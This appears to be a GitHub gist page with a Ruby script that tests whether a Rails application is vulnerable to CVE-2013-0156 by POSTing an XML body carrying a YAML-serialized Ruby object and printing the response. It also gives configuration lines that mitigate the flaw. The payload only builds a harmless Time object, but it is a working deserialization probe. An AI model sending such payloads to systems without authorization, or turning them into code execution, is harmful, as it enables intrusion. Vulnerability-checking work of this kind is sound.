Skip to content

Instantly share code, notes, and snippets.

@unixmonkey
Created January 23, 2013 00:00
Show Gist options
  • Save unixmonkey/4600149 to your computer and use it in GitHub Desktop.
Save unixmonkey/4600149 to your computer and use it in GitHub Desktop.
# This script is intended to check if a Rails app is potentially vulnerable
# to CVE-2013-0156. There is no publicly known exploit for Rails on Ruby 1.8,
# but it is entirely possible due to the serializing of yaml objects
#
# By running this against an unpatched application, the log should indicate
# a timestamp being sent as params[:exploit] like so:
# Parameters: {"exploit"=>Thu Jan 01 00:00:00 +0000 1970, "action"=>"new", "controller"=>"sessions"}
# against a patched server, the exploit key will be missing entirely
#
# Besides upgrading to one of the patched versions of Rails, the following
# lines may be pasted into config/environment.rb:
# ActionController::Base.param_parsers.delete(Mime::XML)
# ActiveSupport::CoreExtensions::Hash::Conversions::XML_PARSING.delete('symbol')
# ActiveSupport::CoreExtensions::Hash::Conversions::XML_PARSING.delete('yaml')
#
# For more information see:
# http://weblog.rubyonrails.org/2013/1/8/Rails-3-2-11-3-1-10-3-0-19-and-2-3-15-have-been-released/
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
require 'yaml'
require 'uri'
require 'net/https'
require 'rack'
url = ARGV[0] || 'http://localhost:3000'
yaml = " --- !ruby/object:Time {} "
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">#{yaml}</exploit>
}.strip
puts "POSTing #{yaml} to #{url} ..."
# Build an HTTP request
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = Net::HTTP::Post.new(uri.request_uri)
request["Content-Type"] = "text/xml"
request["X-HTTP-Method-Override"] = "get"
request.body = xml
# Print the response
response = http.request(request)
puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}"
response.each { |header, value| puts "#{header}: #{value}" }
puts '', response.body
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment